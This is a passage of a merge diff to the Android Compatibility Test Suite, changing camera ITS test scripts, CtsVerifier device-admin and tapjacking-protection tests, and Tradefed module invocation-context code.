Merge "Track batterystats background partial wakelock" into oc-dev
diff --git a/apps/CameraITS/CameraITS.pdf b/apps/CameraITS/CameraITS.pdf
index 80b5e10..5eb3af3 100644
--- a/apps/CameraITS/CameraITS.pdf
+++ b/apps/CameraITS/CameraITS.pdf
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 5a29074..26af162 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -26,6 +26,9 @@
import numpy
import string
+CMD_DELAY = 1 # seconds
+
+
class ItsSession(object):
"""Controls a device over adb to run ITS scripts.
@@ -200,6 +203,10 @@
# TODO: Figure out why "--user 0" is needed, and fix the problem.
_run('%s shell am force-stop --user 0 %s' % (self.adb, self.PACKAGE))
+ _run(('%s shell am start --user 0 '
+ 'com.android.cts.verifier/.camera.its.ItsTestActivity '
+ '--activity-brought-to-front') % self.adb)
+ time.sleep(CMD_DELAY)
_run(('%s shell am startservice --user 0 -t text/plain '
'-a %s') % (self.adb, self.INTENT_START))
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 62f43ec..d47a995 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -775,9 +775,9 @@
"""
img_out = img
if "flip" in sys.argv:
- img_out = np.flipud(img_out)
+ img_out = numpy.flipud(img_out)
if "mirror" in sys.argv:
- img_out = np.fliplr(img_out)
+ img_out = numpy.fliplr(img_out)
return img_out
def stationary_lens_cap(cam, req, fmt):
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 0883482..1269b84 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -108,7 +108,8 @@
"android.colorCorrection.gains": [1,1,1,1],
"android.lens.focusDistance" : f_distance,
"android.tonemap.mode": 1,
- "android.shading.mode": 1
+ "android.shading.mode": 1,
+ "android.lens.opticalStabilizationMode": 0
}
if linear_tonemap:
assert(props is not None)
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
index c0b3b3e..4473bc7 100644
--- a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
@@ -12,29 +12,27 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import os.path
+
import its.caps
import its.device
+import its.image
import its.objects
-import os.path
-from matplotlib import pylab
import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
import numpy as np
-#AE must converge within this number of auto requests for EV
-THRESH_CONVERGE_FOR_EV = 8
+NAME = os.path.basename(__file__).split('.')[0]
+LOCKED = 3
+LUMA_LOCKED_TOL = 0.05
+THRESH_CONVERGE_FOR_EV = 8 # AE must converge within this num
YUV_FULL_SCALE = 255.0
YUV_SATURATION_MIN = 253.0
YUV_SATURATION_TOL = 1.0
def main():
- """Tests that EV compensation is applied.
- """
- LOCKED = 3
-
- NAME = os.path.basename(__file__).split(".")[0]
+ """Tests that EV compensation is applied."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -50,7 +48,7 @@
fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
ev_per_step = its.objects.rational_to_float(
- props['android.control.aeCompensationStep'])
+ props['android.control.aeCompensationStep'])
steps_per_ev = int(1.0 / ev_per_step)
evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
lumas = []
@@ -64,31 +62,37 @@
cam.do_3a(ev_comp=0, lock_ae=True, do_af=False)
for ev in evs:
-
# Capture a single shot with the same EV comp and locked AE.
req = its.objects.auto_capture_request()
req['android.control.aeExposureCompensation'] = ev
- req["android.control.aeLock"] = True
+ req['android.control.aeLock'] = True
caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
- for cap in caps:
- if (cap['metadata']['android.control.aeState'] == LOCKED):
+ luma_locked = []
+ for i, cap in enumerate(caps):
+ if cap['metadata']['android.control.aeState'] == LOCKED:
y = its.image.convert_capture_to_planes(cap)[0]
- tile = its.image.get_image_patch(y, 0.45,0.45,0.1,0.1)
- lumas.append(its.image.compute_image_means(tile)[0])
- rgb = its.image.convert_capture_to_rgb_image(cap)
- rgb_tile = its.image.get_image_patch(rgb,
- 0.45, 0.45, 0.1, 0.1)
- rgb_means = its.image.compute_image_means(rgb_tile)
- reds.append(rgb_means[0])
- greens.append(rgb_means[1])
- blues.append(rgb_means[2])
- break
- assert(cap['metadata']['android.control.aeState'] == LOCKED)
+ tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
+ luma = its.image.compute_image_means(tile)[0]
+ luma_locked.append(luma)
+ if i == THRESH_CONVERGE_FOR_EV-1:
+ lumas.append(luma)
+ rgb = its.image.convert_capture_to_rgb_image(cap)
+ rgb_tile = its.image.get_image_patch(rgb,
+ 0.45, 0.45,
+ 0.1, 0.1)
+ rgb_means = its.image.compute_image_means(rgb_tile)
+ reds.append(rgb_means[0])
+ greens.append(rgb_means[1])
+ blues.append(rgb_means[2])
+ print 'lumas in AE locked captures: ', luma_locked
+ assert np.isclose(min(luma_locked), max(luma_locked),
+ rtol=LUMA_LOCKED_TOL)
+ assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata']['android.control.aeState'] == LOCKED
pylab.plot(evs, lumas, '-ro')
pylab.xlabel('EV Compensation')
pylab.ylabel('Mean Luma (Normalized)')
- matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+ matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
# Trim extra saturated images
while lumas and lumas[-1] >= YUV_SATURATION_MIN/YUV_FULL_SCALE:
@@ -104,13 +108,13 @@
else:
break
# Only allow positive EVs to give saturated image
- assert(len(lumas) > 2)
+ assert len(lumas) > 2
luma_diffs = np.diff(lumas)
min_luma_diffs = min(luma_diffs)
- print "Min of the luma value difference between adjacent ev comp: ", \
- min_luma_diffs
+ print 'Min of the luma value difference between adjacent ev comp: ',
+ print min_luma_diffs
# All luma brightness should be increasing with increasing ev comp.
- assert(min_luma_diffs > 0)
+ assert min_luma_diffs > 0
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/tests/scene2/scene2.pdf b/apps/CameraITS/tests/scene2/scene2.pdf
index ccde9d98..f4f94e6 100644
--- a/apps/CameraITS/tests/scene2/scene2.pdf
+++ b/apps/CameraITS/tests/scene2/scene2.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/test_num_faces.py b/apps/CameraITS/tests/scene2/test_num_faces.py
new file mode 100644
index 0000000..16e53ad
--- /dev/null
+++ b/apps/CameraITS/tests/scene2/test_num_faces.py
@@ -0,0 +1,97 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+NAME = os.path.basename(__file__).split('.')[0]
+NUM_TEST_FRAMES = 20
+NUM_FACES = 3
+FD_MODE_OFF = 0
+FD_MODE_SIMPLE = 1
+FD_MODE_FULL = 2
+W, H = 640, 480
+
+
+def main():
+ """Test face detection."""
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ fd_modes = props['android.statistics.info.availableFaceDetectModes']
+ a = props['android.sensor.info.activeArraySize']
+ aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+
+ if its.caps.read_3a(props):
+ _, _, _, _, _ = cam.do_3a(get_results=True)
+
+ for fd_mode in fd_modes:
+ assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
+ req = its.objects.auto_capture_request()
+ req['android.statistics.faceDetectMode'] = fd_mode
+ fmt = {'format': 'yuv', 'width': W, 'height': H}
+ caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
+ for i, cap in enumerate(caps):
+ md = cap['metadata']
+ assert md['android.statistics.faceDetectMode'] == fd_mode
+ faces = md['android.statistics.faces']
+
+ # 0 faces should be returned for OFF mode
+ if fd_mode == FD_MODE_OFF:
+ assert not faces
+ continue
+ # Face detection could take several frames to warm up,
+ # but should detect the correct number of faces in last frame
+ if i == NUM_TEST_FRAMES - 1:
+ img = its.image.convert_capture_to_rgb_image(cap,
+ props=props)
+ fnd_faces = len(faces)
+ print 'Found %d face(s), expected %d.' % (fnd_faces,
+ NUM_FACES)
+ # draw boxes around faces
+ for rect in [face['bounds'] for face in faces]:
+ top_left = (int(round(rect['left']*W/aw)),
+ int(round(rect['top']*H/ah)))
+ bot_rght = (int(round(rect['right']*W/aw)),
+ int(round(rect['bottom']*H/ah)))
+ cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
+ img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
+ its.image.write_image(img, img_name)
+ assert fnd_faces == NUM_FACES
+ if not faces:
+ continue
+
+ print 'Frame %d face metadata:' % i
+ print ' Faces:', faces
+ print ''
+
+ # Reasonable scores for faces
+ face_scores = [face['score'] for face in faces]
+ for score in face_scores:
+ assert score >= 1 and score <= 100
+ # Face bounds should be within active array
+ face_rectangles = [face['bounds'] for face in faces]
+ for rect in face_rectangles:
+ assert rect['top'] < rect['bottom']
+ assert rect['left'] < rect['right']
+ assert 0 <= rect['top'] <= ah
+ assert 0 <= rect['bottom'] <= ah
+ assert 0 <= rect['left'] <= aw
+ assert 0 <= rect['right'] <= aw
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 46d335f..20a9c3d 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -74,7 +74,9 @@
"test_ev_compensation_basic",
"test_yuv_plus_jpeg"
],
- "scene2": [],
+ "scene2": [
+ "test_num_faces",
+ ],
"scene3": [
"test_3a_consistency",
"test_lens_movement_reporting",
@@ -167,6 +169,7 @@
# Make output directories to hold the generated files.
topdir = tempfile.mkdtemp()
+ subprocess.call(['chmod', 'g+rx', topdir])
print "Saving output files to:", topdir, "\n"
device_id = its.device.get_device_id()
diff --git a/apps/CameraITS/tools/turn_off_screen.py b/apps/CameraITS/tools/turn_off_screen.py
index 207042b..1faef9e 100644
--- a/apps/CameraITS/tools/turn_off_screen.py
+++ b/apps/CameraITS/tools/turn_off_screen.py
@@ -15,6 +15,9 @@
import re
import subprocess
import sys
+import time
+
+TURN_OFF_DELAY = 1 # seconds. Needed for back to back runs
def main():
@@ -38,5 +41,7 @@
else:
pwrdn = ('adb -s %s shell input keyevent POWER' % screen_id)
subprocess.Popen(pwrdn.split())
+ time.sleep(TURN_OFF_DELAY)
+
if __name__ == '__main__':
main()
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 69b9900..45e1ff3 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -143,9 +143,10 @@
<string name="da_tapjacking_instructions">
1. Launch the device admin add screen by pressing the button below.\n
2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
- 3. Attempt to activate the admin with the transparent activity still obscuring the window.
- The button should discard any taps while showing a toast warning to the user.\n
- 4. Return to this screen and pass the test if the device admin could not be activated while the details
+ 3. The button to activate the admin should be disabled and should not register any taps.\n
+ 4. Press \'back\' to exit the overlaying transparent activity.\n
+ 5. Press \'back\' to exit the device admin details and return to this screen.\n
+ Pass the test if the device admin could not be activated while the details
window was being obscured.
</string>
<string name="da_tapjacking_button_text">Enable device admin</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index b53392a..c8bffdf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -60,10 +60,13 @@
if (hasTrustAgents()) {
setupDisableTrustAgentsTest(adapter);
}
- adapter.add(new DialogTestListItem(this, R.string.device_admin_keyguard_disable_camera,
- getTestIdPrefix()+"KeyguardDisableCamera",
- R.string.device_admin_keyguard_disable_camera_instruction,
- new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
+
+ if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+ adapter.add(new DialogTestListItem(this, R.string.device_admin_keyguard_disable_camera,
+ getTestIdPrefix()+"KeyguardDisableCamera",
+ R.string.device_admin_keyguard_disable_camera_instruction,
+ new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
+ }
adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
"DeviceAdmin_DisableNotifications",
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
index 6a81cba..4c9b46d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
@@ -61,7 +61,8 @@
if (savedInstanceState != null) {
mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
- mActivitiesFinishedInOrder = savedInstanceState.getBoolean(ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
+ mActivitiesFinishedInOrder = savedInstanceState.getBoolean(
+ ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
} else if (isActiveAdminAfterTimeout()) {
Log.e(TAG, "Could not remove active admin. Cannot proceed with test");
finish();
@@ -71,9 +72,9 @@
}
private boolean isActiveAdminAfterTimeout() {
- final long startTime = SystemClock.uptimeMillis();
+ final long timeOut = SystemClock.uptimeMillis() + REMOVE_ADMIN_TIMEOUT;
while (mDevicePolicyManager.isAdminActive(mAdmin)
- && SystemClock.uptimeMillis() < startTime + REMOVE_ADMIN_TIMEOUT) {
+ && SystemClock.uptimeMillis() < timeOut ) {
try {
Thread.sleep(1000);
} catch(InterruptedException exc) {
@@ -92,7 +93,8 @@
Thread.sleep(2000);
} catch (InterruptedException exc) {
}
- startActivityForResult(new Intent(this, OverlayingActivity.class), REQUEST_OVERLAY_ACTIVITY);
+ startActivityForResult(new Intent(this, OverlayingActivity.class),
+ REQUEST_OVERLAY_ACTIVITY);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index f12d698..372ae67 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -19,6 +19,7 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.app.Notification;
+import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.admin.DevicePolicyManager;
import android.content.ActivityNotFoundException;
@@ -28,7 +29,6 @@
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;
-
import com.android.cts.verifier.IntentDrivenTestActivity;
import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
import com.android.cts.verifier.R;
@@ -38,6 +38,7 @@
private static final String TAG = "CtsVerifierByodUtils";
static final int BUGREPORT_NOTIFICATION_ID = 12345;
+ private static final String CHANNEL_ID = "BugReport";
static TestListItem createInteractiveTestItem(Activity activity, String id, int titleRes,
int infoRes, ButtonInfo[] buttonInfos) {
@@ -80,7 +81,12 @@
static void showBugreportNotification(Context context, String msg, int notificationId) {
NotificationManager mNotificationManager =
(NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
+
+ NotificationChannel channel = new NotificationChannel(CHANNEL_ID,
+ CHANNEL_ID, NotificationManager.IMPORTANCE_HIGH);
+ mNotificationManager.createNotificationChannel(channel);
Notification notification = new Notification.Builder(context)
+ .setChannelId(CHANNEL_ID)
.setSmallIcon(R.drawable.icon)
.setContentTitle(context.getString(
R.string.device_owner_requesting_bugreport_tests))
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
index c38628d..c9a6265 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
@@ -15,6 +15,7 @@
*/
package com.android.compatibility.common.deviceinfo;
+import android.os.Build;
import android.os.VintfObject;
import android.os.VintfRuntimeInfo;
@@ -33,6 +34,10 @@
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
+ // VintfRuntimeInfo is available Android O onward.
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
+ return;
+ }
store.addResult("cpu_info", VintfRuntimeInfo.getCpuInfo());
store.addResult("os_name", VintfRuntimeInfo.getOsName());
store.addResult("node_name", VintfRuntimeInfo.getNodeName());
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index cd80500..72f0987 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -37,6 +37,8 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.DeviceUnresponsiveException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
import com.android.tradefed.log.ITestLogger;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
@@ -48,6 +50,7 @@
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IShardableTest;
import com.android.tradefed.testtype.IStrictShardableTest;
@@ -79,7 +82,8 @@
*/
@OptionClass(alias = "compatibility")
public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver,
- IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector {
+ IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector,
+ IInvocationContextReceiver {
public static final String INCLUDE_FILTER_OPTION = "include-filter";
public static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
@@ -274,6 +278,8 @@
private static CountDownLatch sPreparedLatch;
private boolean mIsLocalSharding = false;
+ private IInvocationContext mInvocationContext;
+
/**
* Create a new {@link CompatibilityTest} that will run the default list of
* modules.
@@ -467,6 +473,12 @@
if (checkers != null && !checkers.isEmpty()) {
runPreModuleCheck(module.getName(), checkers, mDevice, listener);
}
+ IInvocationContext moduleContext = new InvocationContext();
+ moduleContext.setConfigurationDescriptor(module.getConfigurationDescriptor());
+ moduleContext.addInvocationAttribute(IModuleDef.MODULE_NAME, module.getName());
+ moduleContext.addInvocationAttribute(IModuleDef.MODULE_ABI,
+ module.getAbi().getName());
+ mInvocationContext.setModuleInvocationContext(moduleContext);
try {
module.run(listener);
} catch (DeviceUnresponsiveException due) {
@@ -480,6 +492,10 @@
stack.toString());
CLog.w("This may be due to incorrect timeout setting on module %s",
module.getName());
+ } finally {
+ // clear out module invocation context since we are now done with module
+ // execution
+ mInvocationContext.setModuleInvocationContext(null);
}
long duration = System.currentTimeMillis() - start;
long expected = module.getRuntimeHint();
@@ -773,4 +789,9 @@
public void setCollectTestsOnly(boolean collectTestsOnly) {
mCollectTestsOnly = collectTestsOnly;
}
+
+ @Override
+ public void setInvocationContext(IInvocationContext invocationContext) {
+ mInvocationContext = invocationContext;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
index edb241a..69e8393 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
@@ -15,7 +15,9 @@
*/
package com.android.compatibility.common.tradefed.testtype;
+import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.invoker.IInvocationContext;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
@@ -32,6 +34,10 @@
public interface IModuleDef extends Comparable<IModuleDef>, IBuildReceiver, IDeviceTest,
IRemoteTest, IRuntimeHintProvider, ITestCollector {
+ /** key names used for saving module info into {@link IInvocationContext} */
+ public static String MODULE_NAME = "module-name";
+ public static String MODULE_ABI = "module-abi";
+
/**
* @return The name of this module.
*/
@@ -75,4 +81,8 @@
boolean prepare(boolean skipPrep, List<String> preconditionArgs)
throws DeviceNotAvailableException;
+ /**
+ * Retrieves the {@link ConfigurationDescriptor} associated with module config
+ */
+ ConfigurationDescriptor getConfigurationDescriptor();
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index 29009f1..5198ec1 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -21,6 +21,7 @@
import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
import com.android.compatibility.common.tradefed.targetprep.TokenRequirement;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.config.ConfigurationException;
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -66,13 +67,15 @@
private IBuildInfo mBuild;
private ITestDevice mDevice;
private Set<String> mPreparerWhitelist = new HashSet<>();
+ private ConfigurationDescriptor mConfigurationDescriptor;
public ModuleDef(String name, IAbi abi, IRemoteTest test,
- List<ITargetPreparer> preparers) {
+ List<ITargetPreparer> preparers, ConfigurationDescriptor configurationDescriptor) {
mId = AbiUtils.createId(abi.getName(), name);
mName = name;
mAbi = abi;
mTest = test;
+ mConfigurationDescriptor = configurationDescriptor;
boolean hasAbiReceiver = false;
for (ITargetPreparer preparer : preparers) {
if (preparer instanceof IAbiReceiver) {
@@ -354,4 +357,9 @@
}
}
}
+
+ @Override
+ public ConfigurationDescriptor getConfigurationDescriptor() {
+ return mConfigurationDescriptor;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index ea76919..4238508 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -341,7 +341,8 @@
String[] configPaths) throws ConfigurationException {
// Invokes parser to process the test module config file
IConfiguration config = mConfigFactory.createConfigurationFromArgs(configPaths);
- addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers()));
+ addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers(),
+ config.getConfigurationDescription()));
}
private void addModuleDef(IModuleDef moduleDef) {
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
index 8ef909e..609fe6b 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -22,8 +22,10 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.result.ResultReporter;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.IModuleDef;
import com.android.compatibility.common.util.IInvocationResult;
import com.android.compatibility.common.util.TestStatus;
+import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.ConfigurationFactory;
import com.android.tradefed.config.OptionSetter;
@@ -36,6 +38,7 @@
import com.android.tradefed.result.ResultForwarder;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.FileUtil;
@@ -67,6 +70,7 @@
private static final String CONFIG =
"<configuration description=\"Auto Generated File\">\n" +
+ "<option name=\"config-descriptor:metadata\" key=\"component\" value=\"%s\" />\n" +
"<test class=\"com.android.compatibility.common.tradefed.testtype.%s\">\n" +
" <option name=\"report-test\" value=\"%s\" />\n" +
" <option name=\"run-complete\" value=\"%s\" />\n" +
@@ -75,7 +79,8 @@
"</test>\n" +
"</configuration>";
private static final String FILENAME = "%s.config";
- private static final String TEST_STUB = "TestStub"; // Trivial test stub
+ private static final String TEST_STUB = "TestStub"; // Test stub
+ private static final String SIMPLE_TEST_STUB = "SimpleTestStub"; // Simple test stub
private static final String TEST_STUB_SHARDABLE = "TestStubShardable";
private static final String COMMAND_LINE = "run cts";
@@ -134,6 +139,7 @@
mContext = new InvocationContext();
mContext.addAllocatedDevice("default", mMockDevice);
mContext.addDeviceBuildInfo("default", mMockBuildInfo);
+ mTest.setInvocationContext(mContext);
}
@After
@@ -155,13 +161,33 @@
private void createConfig(File testsDir, String name, String moduleClass, boolean reportTest,
boolean runComplete, boolean doesOneTestFail, boolean internalRetry)
throws IOException {
+ createConfig(testsDir, name, moduleClass, reportTest, runComplete, doesOneTestFail,
+ internalRetry, "foo");
+
+ }
+
+ /**
+ * Create a CTS configuration with a fake tests to exercise all cases.
+ *
+ * @param testsDir The testcases/ dir where to put the module
+ * @param name the name of the module.
+ * @param moduleClass the fake test class to use.
+ * @param reportTest True if the test report some tests
+ * @param runComplete True if the test run is complete
+ * @param doesOneTestFail True if one of the test is going to fail
+ * @param internalRetry True if the test will retry the module itself once
+ * @param component the platform component name that the module can be categorized under
+ */
+ private void createConfig(File testsDir, String name, String moduleClass, boolean reportTest,
+ boolean runComplete, boolean doesOneTestFail, boolean internalRetry, String component)
+ throws IOException {
File config = new File(testsDir, String.format(FILENAME, name));
FileUtil.deleteFile(config);
if (!config.createNewFile()) {
throw new IOException(String.format("Failed to create '%s'", config.getAbsolutePath()));
}
- FileUtil.writeToFile(String.format(CONFIG, moduleClass, reportTest, runComplete,
+ FileUtil.writeToFile(String.format(CONFIG, component, moduleClass, reportTest, runComplete,
doesOneTestFail, internalRetry), config);
}
@@ -192,6 +218,83 @@
}
/**
+ * Verify that result reporters test run ended callback can receive component name as configured
+ * in module config metadata field.
+ */
+ @Test
+ public void testSingleModuleRun_checkMetadata() throws Exception {
+ final String moduleName = "AwsomeModule";
+ final String mAbi = "arm64-v8a";
+ final String component = "CriticalComponent";
+ final List<String> receivedComponentsTestEnded = new ArrayList<>();
+ final List<String> receivedModuleNameTestEnded = new ArrayList<>();
+ final List<String> receivedAbiTestEnded = new ArrayList<>();
+ final List<String> receivedComponentsTestRunEnded = new ArrayList<>();
+ final List<String> receivedModuleNameTestRunEnded = new ArrayList<>();
+ final List<String> receivedAbiTestRunEnded = new ArrayList<>();
+ createConfig(mTestDir, moduleName, SIMPLE_TEST_STUB, true, true, true, false, component);
+ EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+ mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+ EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+ EasyMock.expectLastCall();
+
+ EasyMock.replay(mMockDevice, mMockBuildInfo);
+ ITestInvocationListener myListener = new ITestInvocationListener() {
+ private IInvocationContext myContext;
+ @Override
+ public void invocationStarted(IInvocationContext context) {
+ myContext = context;
+ }
+ @Override
+ public void testRunEnded(long elapsedTimeMillis, Map<String, String> runMetrics) {
+ receivedComponentsTestRunEnded.addAll(myContext.getModuleInvocationContext()
+ .getConfigurationDescriptor().getMetaData("component"));
+ receivedModuleNameTestRunEnded.addAll(myContext.getModuleInvocationContext()
+ .getAttributes().get(IModuleDef.MODULE_NAME));
+ receivedAbiTestRunEnded.addAll(myContext.getModuleInvocationContext()
+ .getAttributes().get(IModuleDef.MODULE_ABI));
+ }
+ @Override
+ public void testEnded(TestIdentifier test, long endTime,
+ Map<String, String> testMetrics) {
+ receivedComponentsTestEnded.addAll(myContext.getModuleInvocationContext()
